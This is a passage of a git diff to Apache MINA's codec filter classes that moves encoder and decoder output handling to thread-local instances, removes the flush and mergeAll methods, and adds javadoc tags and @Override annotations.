(!(e instanceof RecoverableProtocolDecoderException) || (in.position() == oldPos)) { break; } } } + + in.free(); } + /** + * {@inheritDoc} + */ @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { if (writeRequest instanceof EncodedWriteRequest) { return; } - if (writeRequest instanceof MessageWriteRequest) { - MessageWriteRequest wrappedRequest = (MessageWriteRequest) writeRequest; - nextFilter.messageSent(session, wrappedRequest.getParentRequest()); - } - else { - nextFilter.messageSent(session, writeRequest); - } + nextFilter.messageSent(session, writeRequest); } + /** + * {@inheritDoc} + */ @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - Object message = writeRequest.getMessage(); - + public void filterWrite(final NextFilter nextFilter, final IoSession session, final WriteRequest writeRequest) + throws Exception { + final Object message = writeRequest.getMessage(); + // Bypass the encoding if the message is contained in a IoBuffer, // as it has already been encoded before if ((message instanceof IoBuffer) || (message instanceof FileRegion)) { @@ -304,73 +305,65 @@ public void filterWrite(NextFilter nextFilter, IoSession session, } // Get the encoder in the session - ProtocolEncoder encoder = factory.getEncoder(session); + final ProtocolEncoder encoder = factory.getEncoder(session); + final ProtocolEncoderOutputImpl encoderOut = ENCODER_OUTPUT.get(); - ProtocolEncoderOutput encoderOut = getEncoderOut(session, - nextFilter, writeRequest); - if (encoder == null) { throw new ProtocolEncoderException("The encoder is null for the session " + session); } - - if (encoderOut == null) { - throw new ProtocolEncoderException("The encoderOut is null for the session " + session); - } - + try { // Now we can try to encode the response encoder.encode(session, message, encoderOut); - - // Send it directly - Queue bufferQueue = ((AbstractProtocolEncoderOutput)encoderOut).getMessageQueue(); - - // Write all the encoded messages now - while (!bufferQueue.isEmpty()) { - Object encodedMessage = bufferQueue.poll(); - - // Flush only when the buffer has remaining. - if (!(encodedMessage instanceof IoBuffer) || ((IoBuffer) encodedMessage).hasRemaining()) { - SocketAddress destination = writeRequest.getDestination(); - WriteRequest encodedWriteRequest = new EncodedWriteRequest(encodedMessage, null, destination); - - nextFilter.filterWrite(session, encodedWriteRequest); - } - } - - // Call the next filter - nextFilter.filterWrite(session, new MessageWriteRequest( - writeRequest)); - } catch (Throwable t) { - ProtocolEncoderException pee; - - // Generate the correct exception - if (t instanceof ProtocolEncoderException) { - pee = (ProtocolEncoderException) t; + final Queue queue = encoderOut.messageQueue; + + if (queue.isEmpty()) { + // Write empty message to ensure that messageSent is fired later + writeRequest.setMessage(EMPTY_BUFFER); + nextFilter.filterWrite(session, writeRequest); } else { - pee = new ProtocolEncoderException(t); + // Write all the encoded messages now + Object encodedMessage = null; + + while ((encodedMessage = queue.poll()) != null) { + if (queue.isEmpty()) { + // Write last message using original WriteRequest to ensure that any Future and + // dependency on messageSent event is emitted correctly + writeRequest.setMessage(encodedMessage); + nextFilter.filterWrite(session, writeRequest); + } else { + SocketAddress destination = writeRequest.getDestination(); + WriteRequest encodedWriteRequest = new EncodedWriteRequest(encodedMessage, null, destination); + nextFilter.filterWrite(session, encodedWriteRequest); + } + } } - - throw pee; + } catch (final ProtocolEncoderException e) { + throw e; + } catch (final Exception e) { + // Generate the correct exception + throw new ProtocolEncoderException(e); } } - + /** + * {@inheritDoc} + */ @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { // Call finishDecode() first when a connection is closed. ProtocolDecoder decoder = factory.getDecoder(session); - ProtocolDecoderOutput decoderOut = getDecoderOut(session, nextFilter); - + ProtocolDecoderOutput decoderOut = DECODER_OUTPUT.get(); + try { decoder.finishDecode(session, decoderOut); - } catch (Throwable t) { + } catch (Exception e) { ProtocolDecoderException pde; - if (t instanceof ProtocolDecoderException) { - pde = (ProtocolDecoderException) t; + if (e instanceof ProtocolDecoderException) { + pde = (ProtocolDecoderException) e; } else { - pde = new ProtocolDecoderException(t); + pde = new ProtocolDecoderException(e); } throw pde; } finally { @@ -384,175 +377,87 @@ public void sessionClosed(NextFilter nextFilter, IoSession session) } private static class EncodedWriteRequest extends DefaultWriteRequest { - public EncodedWriteRequest(Object encodedMessage, - WriteFuture future, SocketAddress destination) { + public EncodedWriteRequest(Object encodedMessage, WriteFuture future, SocketAddress destination) { super(encodedMessage, future, destination); } - - public boolean isEncoded() { - return true; - } - } - - private static class MessageWriteRequest extends WriteRequestWrapper { - public MessageWriteRequest(WriteRequest writeRequest) { - super(writeRequest); - } + /** + * {@inheritDoc} + */ @Override - public Object getMessage() { - return EMPTY_BUFFER; - } - - @Override - public String toString() { - return "MessageWriteRequest, parent : " + super.toString(); + public boolean isEncoded() { + return true; } } - private static class ProtocolDecoderOutputImpl extends - AbstractProtocolDecoderOutput { + private static class ProtocolDecoderOutputImpl extends AbstractProtocolDecoderOutput { public ProtocolDecoderOutputImpl() { // Do nothing } - - public void flush(NextFilter nextFilter, IoSession session) { - Queue messageQueue = getMessageQueue(); - - while (!messageQueue.isEmpty()) { - nextFilter.messageReceived(session, messageQueue.poll()); - } - } } - private static class ProtocolEncoderOutputImpl extends - AbstractProtocolEncoderOutput { - private final IoSession session; - - private final NextFilter nextFilter; - - private final WriteRequest writeRequest; - - public ProtocolEncoderOutputImpl(IoSession session, - NextFilter nextFilter, WriteRequest writeRequest) { - this.session = session; - this.nextFilter = nextFilter; - this.writeRequest = writeRequest; - } - - public WriteFuture flush() { - Queue bufferQueue = getMessageQueue(); - WriteFuture future = null; - - while (!bufferQueue.isEmpty()) { - Object encodedMessage = bufferQueue.poll(); - - // Flush only when the buffer has remaining. - if (!(encodedMessage instanceof IoBuffer) || ((IoBuffer) encodedMessage).hasRemaining()) { - future = new DefaultWriteFuture(session); - nextFilter.filterWrite(session, new EncodedWriteRequest(encodedMessage, - future, writeRequest.getDestination())); - } - } - - if (future == null) { - future = DefaultWriteFuture.newNotWrittenFuture( - session, new NothingWrittenException(writeRequest)); - } - - return future; + private static class ProtocolEncoderOutputImpl extends AbstractProtocolEncoderOutput { + public ProtocolEncoderOutputImpl() { + // Do nothing } } - - //----------- Helper methods --------------------------------------------- + + // ----------- Helper methods --------------------------------------------- /** - * Dispose the encoder, decoder, and the callback for the decoded - * messages. + * Dispose the encoder, decoder, and the callback for the decoded messages. */ private void disposeCodec(IoSession session) { // We just remove the two instances of encoder/decoder to release resources // from the session disposeEncoder(session); disposeDecoder(session); - - // We also remove the callback - disposeDecoderOut(session); } - + /** - * Dispose the encoder, removing its instance from the - * session's attributes, and calling the associated - * dispose method. + * Dispose the encoder, removing its instance from the session's attributes, and + * calling the associated dispose method. */ private void disposeEncoder(IoSession session) { - ProtocolEncoder encoder = (ProtocolEncoder) session - .removeAttribute(ENCODER); + ProtocolEncoder encoder = (ProtocolEncoder) session.removeAttribute(ENCODER); if (encoder == null) { return; } try { encoder.dispose(session); - } catch (Throwable t) { - LOGGER.warn( - "Failed to dispose: " + encoder.getClass().getName() + " (" + encoder + ')'); + } catch (Exception e) { + LOGGER.warn("Failed to dispose: " + encoder.getClass().getName() + " (" + encoder + ')'); } } /** - * Dispose the decoder, removing its instance from the - * session's attributes, and calling the associated - * dispose method. + * Dispose the decoder, removing its instance from the session's attributes, and + * calling the associated dispose method. */ private void disposeDecoder(IoSession session) { - ProtocolDecoder decoder = (ProtocolDecoder) session - .removeAttribute(DECODER); + ProtocolDecoder decoder = (ProtocolDecoder) session.removeAttribute(DECODER); if (decoder == null) { return; } try { decoder.dispose(session); - } catch (Throwable t) { - LOGGER.warn( - "Failed to dispose: " + decoder.getClass().getName() + " (" + decoder + ')'); + } catch (Exception e) { + LOGGER.warn("Failed to dispose: " + decoder.getClass().getName() + " (" + decoder + ')'); } } - /** - * Return a reference to the decoder callback. If it's not already created - * and stored into the session, we create a new instance. - */ - private ProtocolDecoderOutput getDecoderOut(IoSession session, - NextFilter nextFilter) { - ProtocolDecoderOutput out = (ProtocolDecoderOutput) session.getAttribute(DECODER_OUT); - - if (out == null) { - // Create a new instance, and stores it into the session - out = new ProtocolDecoderOutputImpl(); - session.setAttribute(DECODER_OUT, out); + static private class ProtocolDecoderOutputLocal extends ThreadLocal { + @Override + protected ProtocolDecoderOutputImpl initialValue() { + return new ProtocolDecoderOutputImpl(); } - - return out; } - private ProtocolEncoderOutput getEncoderOut(IoSession session, - NextFilter nextFilter, WriteRequest writeRequest) { - ProtocolEncoderOutput out = (ProtocolEncoderOutput) session.getAttribute(ENCODER_OUT); - - if (out == null) { - // Create a new instance, and stores it into the session - out = new ProtocolEncoderOutputImpl(session, nextFilter, writeRequest); - session.setAttribute(ENCODER_OUT, out); + static private class ProtocolEncoderOutputLocal extends ThreadLocal { + @Override + protected ProtocolEncoderOutputImpl initialValue() { + return new ProtocolEncoderOutputImpl(); } - - return out; - } - - /** - * Remove the decoder callback from the session's attributes. - */ - private void disposeDecoderOut(IoSession session) { - session.removeAttribute(DECODER_OUT); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecSession.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecSession.java index ec10b1eddd..1638491076 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecSession.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolCodecSession.java @@ -59,21 +59,18 @@ */ public class ProtocolCodecSession extends DummySession { - private final WriteFuture notWrittenFuture = - DefaultWriteFuture.newNotWrittenFuture(this, new UnsupportedOperationException()); + private final AbstractProtocolEncoderOutput encoderOutput = new AbstractProtocolEncoderOutput() { - private final AbstractProtocolEncoderOutput encoderOutput = - new AbstractProtocolEncoderOutput() { - public WriteFuture flush() { - return notWrittenFuture; - } }; - private final AbstractProtocolDecoderOutput decoderOutput = - new AbstractProtocolDecoderOutput() { - public void flush(NextFilter nextFilter, IoSession session) { - // Do nothing - } + private final AbstractProtocolDecoderOutput decoderOutput = new AbstractProtocolDecoderOutput() { + /** + * {@inheritDoc} + */ + @Override + public void flush(NextFilter nextFilter, IoSession session) { + // Do nothing + } }; /** @@ -84,7 +81,7 @@ public ProtocolCodecSession() { } /** - * Returns the {@link ProtocolEncoderOutput} that buffers + * @return the {@link ProtocolEncoderOutput} that buffers * {@link IoBuffer}s generated by {@link ProtocolEncoder}. */ public ProtocolEncoderOutput getEncoderOutput() { @@ -92,14 +89,14 @@ public ProtocolEncoderOutput getEncoderOutput() { } /** - * Returns the {@link Queue} of the buffered encoder output. + * @return the {@link Queue} of the buffered encoder output. */ public Queue getEncoderOutputQueue() { - return encoderOutput.getMessageQueue(); + return encoderOutput.messageQueue; } /** - * Returns the {@link ProtocolEncoderOutput} that buffers + * @return the {@link ProtocolEncoderOutput} that buffers * messages generated by {@link ProtocolDecoder}. */ public ProtocolDecoderOutput getDecoderOutput() { @@ -107,9 +104,9 @@ public ProtocolDecoderOutput getDecoderOutput() { } /** - * Returns the {@link Queue} of the buffered decoder output. + * @return the {@link Queue} of the buffered decoder output. */ public Queue getDecoderOutputQueue() { - return decoderOutput.getMessageQueue(); + return decoderOutput.messageQueue; } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoder.java index 4cd94407e5..9e1a419271 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoder.java @@ -44,26 +44,30 @@ public interface ProtocolDecoder { * method with read data, and then the decoder implementation puts decoded * messages into {@link ProtocolDecoderOutput}. * + * @param session The current Session + * @param in the buffer to decode + * @param out The {@link ProtocolDecoderOutput} that will receive the decoded message * @throws Exception if the read data violated protocol specification */ - void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) - throws Exception; + void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception; /** - * Invoked when the specified session is closed. This method is useful + * Invoked when the specified session is closed. This method is useful * when you deal with the protocol which doesn't specify the length of a message - * such as HTTP response without content-length header. Implement this + * such as HTTP response without content-length header. Implement this * method to process the remaining data that {@link #decode(IoSession, IoBuffer, ProtocolDecoderOutput)} * method didn't process completely. * + * @param session The current Session + * @param out The {@link ProtocolDecoderOutput} that contains the decoded message * @throws Exception if the read data violated protocol specification */ - void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception; + void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception; /** * Releases all resources related with this decoder. * + * @param session The current Session * @throws Exception if failed to dispose all resources */ void dispose(IoSession session) throws Exception; diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderAdapter.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderAdapter.java index 8bfac9f514..7bb61474bf 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderAdapter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderAdapter.java @@ -34,8 +34,8 @@ public abstract class ProtocolDecoderAdapter implements ProtocolDecoder { * Override this method to deal with the closed connection. * The default implementation does nothing. */ - public void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception { + @Override + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { // Do nothing } @@ -43,6 +43,7 @@ public void finishDecode(IoSession session, ProtocolDecoderOutput out) * Override this method to dispose all resources related with this decoder. * The default implementation does nothing. */ + @Override public void dispose(IoSession session) throws Exception { // Do nothing } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderException.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderException.java index 5fbbbf9a41..d1d36d1c07 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderException.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderException.java @@ -42,6 +42,8 @@ public ProtocolDecoderException() { /** * Constructs a new instance with the specified message. + * + * @param message The detail message */ public ProtocolDecoderException(String message) { super(message); @@ -49,6 +51,8 @@ public ProtocolDecoderException(String message) { /** * Constructs a new instance with the specified cause. + * + * @param cause The Exception's cause */ public ProtocolDecoderException(Throwable cause) { super(cause); @@ -57,13 +61,16 @@ public ProtocolDecoderException(Throwable cause) { /** * Constructs a new instance with the specified message and the specified * cause. + * + * @param message The detail message + * @param cause The Exception's cause */ public ProtocolDecoderException(String message, Throwable cause) { super(message, cause); } /** - * Returns the message and the hexdump of the unknown part. + * @return the message and the hexdump of the unknown part. */ @Override public String getMessage() { @@ -74,15 +81,14 @@ public String getMessage() { } if (hexdump != null) { - return message + (message.length() > 0 ? " " : "") + "(Hexdump: " - + hexdump + ')'; + return message + (message.length() > 0 ? " " : "") + "(Hexdump: " + hexdump + ')'; } return message; } /** - * Returns the hexdump of the unknown message part. + * @return the hexdump of the unknown message part. */ public String getHexdump() { return hexdump; @@ -90,12 +96,14 @@ public String getHexdump() { /** * Sets the hexdump of the unknown message part. + * + * @param hexdump The hexadecimal String representation of the message */ public void setHexdump(String hexdump) { if (this.hexdump != null) { - throw new IllegalStateException( - "Hexdump cannot be set more than once."); + throw new IllegalStateException("Hexdump cannot be set more than once."); } + this.hexdump = hexdump; } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderOutput.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderOutput.java index 8c75375592..eecd1e575a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderOutput.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolDecoderOutput.java @@ -42,6 +42,9 @@ public interface ProtocolDecoderOutput { /** * Flushes all messages you wrote via {@link #write(Object)} to * the next filter. + * + * @param nextFilter the next Filter + * @param session The current Session */ void flush(NextFilter nextFilter, IoSession session); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoder.java index 54b8ce383b..8703b980b2 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoder.java @@ -46,14 +46,17 @@ public interface ProtocolEncoder { * the encoder implementation puts encoded messages (typically {@link IoBuffer}s) * into {@link ProtocolEncoderOutput}. * + * @param session The current Session + * @param message the message to encode + * @param out The {@link ProtocolEncoderOutput} that will receive the encoded message * @throws Exception if the message violated protocol specification */ - void encode(IoSession session, Object message, ProtocolEncoderOutput out) - throws Exception; + void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception; /** * Releases all resources related with this encoder. * + * @param session The current Session * @throws Exception if failed to dispose all resources */ void dispose(IoSession session) throws Exception; diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderAdapter.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderAdapter.java index 2f62ba5c6e..dd3217190a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderAdapter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderAdapter.java @@ -32,6 +32,7 @@ public abstract class ProtocolEncoderAdapter implements ProtocolEncoder { * Override this method dispose all resources related with this encoder. * The default implementation does nothing. */ + @Override public void dispose(IoSession session) throws Exception { // Do nothing } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderException.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderException.java index f5eb97888b..d999565f7a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderException.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderException.java @@ -37,6 +37,8 @@ public ProtocolEncoderException() { /** * Constructs a new instance with the specified message. + * + * @param message The detail message */ public ProtocolEncoderException(String message) { super(message); @@ -44,6 +46,8 @@ public ProtocolEncoderException(String message) { /** * Constructs a new instance with the specified cause. + * + * @param cause The Exception's cause */ public ProtocolEncoderException(Throwable cause) { super(cause); @@ -52,6 +56,9 @@ public ProtocolEncoderException(Throwable cause) { /** * Constructs a new instance with the specified message and the specified * cause. + * + * @param message The detail message + * @param cause The Exception's cause */ public ProtocolEncoderException(String message, Throwable cause) { super(message, cause); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderOutput.java b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderOutput.java index 0fc847ce3a..051c2f557f 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderOutput.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/ProtocolEncoderOutput.java @@ -21,44 +21,22 @@ import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.file.FileRegion; -import org.apache.mina.core.future.WriteFuture; /** * Callback for {@link ProtocolEncoder} to generate encoded messages such as - * {@link IoBuffer}s. {@link ProtocolEncoder} must call {@link #write(Object)} + * {@link IoBuffer}s. {@link ProtocolEncoder} must call {@link #write(Object)} * for each encoded message. * * @author Apache MINA Project */ public interface ProtocolEncoderOutput { /** - * Callback for {@link ProtocolEncoder} to generate an encoded message such - * as an {@link IoBuffer}. {@link ProtocolEncoder} must call - * {@link #write(Object)} for each encoded message. + * Callback for {@link ProtocolEncoder} to generate an encoded message such as + * an {@link IoBuffer}. {@link ProtocolEncoder} must call {@link #write(Object)} + * for each encoded message. * - * @param encodedMessage the encoded message, typically an {@link IoBuffer} - * or a {@link FileRegion}. + * @param message the encoded message, typically an {@link IoBuffer} or a + * {@link FileRegion}. */ - void write(Object encodedMessage); - - /** - * Merges all buffers you wrote via {@link #write(Object)} into - * one {@link IoBuffer} and replaces the old fragmented ones with it. - * This method is useful when you want to control the way MINA generates - * network packets. Please note that this method only works when you - * called {@link #write(Object)} method with only {@link IoBuffer}s. - * - * @throws IllegalStateException if you wrote something else than {@link IoBuffer} - */ - void mergeAll(); - - /** - * Flushes all buffers you wrote via {@link #write(Object)} to - * the session. This operation is asynchronous; please wait for - * the returned {@link WriteFuture} if you want to wait for - * the buffers flushed. - * - * @return null if there is nothing to flush at all. - */ - WriteFuture flush(); -} \ No newline at end of file + void write(Object message); +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/RecoverableProtocolDecoderException.java b/mina-core/src/main/java/org/apache/mina/filter/codec/RecoverableProtocolDecoderException.java index 26f56d5ab0..3eacfdfc98 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/RecoverableProtocolDecoderException.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/RecoverableProtocolDecoderException.java @@ -27,7 +27,7 @@ * than {@link RecoverableProtocolDecoderException}, it stops calling * the {@link ProtocolDecoder#decode(org.apache.mina.core.session.IoSession, * org.apache.mina.core.buffer.IoBuffer, ProtocolDecoderOutput)} - * immediately and fires an exceptionCaught event. + * immediately and fires an exceptionCaught event. *

* On the other hand, if {@link RecoverableProtocolDecoderException} is thrown, * it doesn't stop immediately but keeps calling the {@link ProtocolDecoder} @@ -39,25 +39,42 @@ * * @author Apache MINA Project */ -public class RecoverableProtocolDecoderException extends - ProtocolDecoderException { +public class RecoverableProtocolDecoderException extends ProtocolDecoderException { private static final long serialVersionUID = -8172624045024880678L; + /** + * Create a new RecoverableProtocolDecoderException instance + */ public RecoverableProtocolDecoderException() { // Do nothing } + /** + * Create a new RecoverableProtocolDecoderException instance + * + * @param message The error message + */ public RecoverableProtocolDecoderException(String message) { super(message); } + /** + * Create a new RecoverableProtocolDecoderException instance + * + * @param cause The original exception + */ public RecoverableProtocolDecoderException(Throwable cause) { super(cause); } + /** + * Create a new RecoverableProtocolDecoderException instance + * + * @param message The error message + * @param cause The original exception + */ public RecoverableProtocolDecoderException(String message, Throwable cause) { super(message, cause); } - } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolDecoder.java index 8c7da3e5c4..2b282f0cd4 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolDecoder.java @@ -37,36 +37,49 @@ public class SynchronizedProtocolDecoder implements ProtocolDecoder { private final ProtocolDecoder decoder; /** - * Creates a new instance which decorates the specified decoder. + * Creates a new instance which decorates the specified decoder. + * + * @param decoder The decorated decoder */ public SynchronizedProtocolDecoder(ProtocolDecoder decoder) { if (decoder == null) { throw new IllegalArgumentException("decoder"); } + this.decoder = decoder; } /** - * Returns the decoder this decoder is decorating. + * @return the decoder this decoder is decorating. */ public ProtocolDecoder getDecoder() { return decoder; } - public void decode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { synchronized (decoder) { decoder.decode(session, in, out); } } - public void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { synchronized (decoder) { decoder.finishDecode(session, out); } } + /** + * {@inheritDoc} + */ + @Override public void dispose(IoSession session) throws Exception { synchronized (decoder) { decoder.dispose(session); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolEncoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolEncoder.java index c9a5309b93..1b965d2523 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolEncoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/SynchronizedProtocolEncoder.java @@ -35,7 +35,8 @@ public class SynchronizedProtocolEncoder implements ProtocolEncoder { private final ProtocolEncoder encoder; /** - * Creates a new instance which decorates the specified encoder. + * Creates a new instance which decorates the specified encoder. + * @param encoder The decorated encoder */ public SynchronizedProtocolEncoder(ProtocolEncoder encoder) { if (encoder == null) { @@ -45,19 +46,26 @@ public SynchronizedProtocolEncoder(ProtocolEncoder encoder) { } /** - * Returns the encoder this encoder is decorating. + * @return the encoder this encoder is decorating. */ public ProtocolEncoder getEncoder() { return encoder; } - public void encode(IoSession session, Object message, - ProtocolEncoderOutput out) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { synchronized (encoder) { encoder.encode(session, message, out); } } + /** + * {@inheritDoc} + */ + @Override public void dispose(IoSession session) throws Exception { synchronized (encoder) { encoder.dispose(session); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolCodecFactory.java index aa72b1b236..d4b0535f4c 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolCodecFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolCodecFactory.java @@ -37,60 +37,119 @@ public class DemuxingProtocolCodecFactory implements ProtocolCodecFactory { private final DemuxingProtocolEncoder encoder = new DemuxingProtocolEncoder(); - private final DemuxingProtocolDecoder decoder = new DemuxingProtocolDecoder(); - public DemuxingProtocolCodecFactory() { - // Do nothing - } + private final DemuxingProtocolDecoder decoder = new DemuxingProtocolDecoder(); + /** + * {@inheritDoc} + */ + @Override public ProtocolEncoder getEncoder(IoSession session) throws Exception { return encoder; } + /** + * {@inheritDoc} + */ + @Override public ProtocolDecoder getDecoder(IoSession session) throws Exception { return decoder; } - - @SuppressWarnings("unchecked") + + /** + * Adds a new message encoder for a given message type + * + * @param messageType The message type + * @param encoderClass The associated encoder class + */ public void addMessageEncoder(Class messageType, Class encoderClass) { this.encoder.addMessageEncoder(messageType, encoderClass); } + /** + * Adds a new message encoder for a given message type + * + * @param The message type + * @param messageType The message type + * @param encoder The associated encoder instance + */ public void addMessageEncoder(Class messageType, MessageEncoder encoder) { this.encoder.addMessageEncoder(messageType, encoder); } + /** + * Adds a new message encoder for a given message type + * + * @param The message type + * @param messageType The message type + * @param factory The associated encoder factory + */ public void addMessageEncoder(Class messageType, MessageEncoderFactory factory) { this.encoder.addMessageEncoder(messageType, factory); } - - @SuppressWarnings("unchecked") + + /** + * Adds a new message encoder for a list of message types + * + * @param messageTypes The message types + * @param encoderClass The associated encoder class + */ public void addMessageEncoder(Iterable> messageTypes, Class encoderClass) { for (Class messageType : messageTypes) { addMessageEncoder(messageType, encoderClass); } } - + + /** + * Adds a new message encoder for a list of message types + * + * @param The message type + * @param messageTypes The messages types + * @param encoder The associated encoder instance + */ public void addMessageEncoder(Iterable> messageTypes, MessageEncoder encoder) { for (Class messageType : messageTypes) { addMessageEncoder(messageType, encoder); } } - - public void addMessageEncoder(Iterable> messageTypes, MessageEncoderFactory factory) { + + /** + * Adds a new message encoder for a list of message types + * + * @param The message type + * @param messageTypes The messages types + * @param factory The associated encoder factory + */ + public void addMessageEncoder(Iterable> messageTypes, + MessageEncoderFactory factory) { for (Class messageType : messageTypes) { addMessageEncoder(messageType, factory); } } - + + /** + * Adds a new message decoder + * + * @param decoderClass The associated decoder class + */ public void addMessageDecoder(Class decoderClass) { this.decoder.addMessageDecoder(decoderClass); } + /** + * Adds a new message decoder + * + * @param decoder The associated decoder instance + */ public void addMessageDecoder(MessageDecoder decoder) { this.decoder.addMessageDecoder(decoder); } + /** + * Adds a new message decoder + * + * @param factory The associated decoder factory + */ public void addMessageDecoder(MessageDecoderFactory factory) { this.decoder.addMessageDecoder(factory); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolDecoder.java index deaa246f1f..b0d10f78cf 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolDecoder.java @@ -32,20 +32,29 @@ * decoding requests into an appropriate {@link MessageDecoder}. * *

Internal mechanism of {@link MessageDecoder} selection

- *

*

    - *
  1. {@link DemuxingProtocolDecoder} iterates the list of candidate - * {@link MessageDecoder}s and calls {@link MessageDecoder#decodable(IoSession, IoBuffer)}. - * Initially, all registered {@link MessageDecoder}s are candidates.
  2. - *
  3. If {@link MessageDecoderResult#NOT_OK} is returned, it is removed from the candidate - * list.
  4. - *
  5. If {@link MessageDecoderResult#NEED_DATA} is returned, it is retained in the candidate + *
  6. + * {@link DemuxingProtocolDecoder} iterates the list of candidate + * {@link MessageDecoder}s and calls {@link MessageDecoder#decodable(IoSession, IoBuffer)}. + * Initially, all registered {@link MessageDecoder}s are candidates. + *
  7. + *
  8. + * If {@link MessageDecoderResult#NOT_OK} is returned, it is removed from the candidate + * list. + *
  9. + *
  10. + * If {@link MessageDecoderResult#NEED_DATA} is returned, it is retained in the candidate * list, and its {@link MessageDecoder#decodable(IoSession, IoBuffer)} will be invoked - * again when more data is received.
  11. - *
  12. If {@link MessageDecoderResult#OK} is returned, {@link DemuxingProtocolDecoder} - * found the right {@link MessageDecoder}.
  13. - *
  14. If there's no candidate left, an exception is raised. Otherwise, + * again when more data is received. + *
  15. + *
  16. + * If {@link MessageDecoderResult#OK} is returned, {@link DemuxingProtocolDecoder} + * found the right {@link MessageDecoder}. + *
  17. + *
  18. + * If there's no candidate left, an exception is raised. Otherwise, * {@link DemuxingProtocolDecoder} will keep iterating the candidate list. + *
  19. *
* * Please note that any change of position and limit of the specified {@link IoBuffer} @@ -56,13 +65,19 @@ * {@link MessageDecoder#decode(IoSession, IoBuffer, ProtocolDecoderOutput)} continuously * reading its return value: *
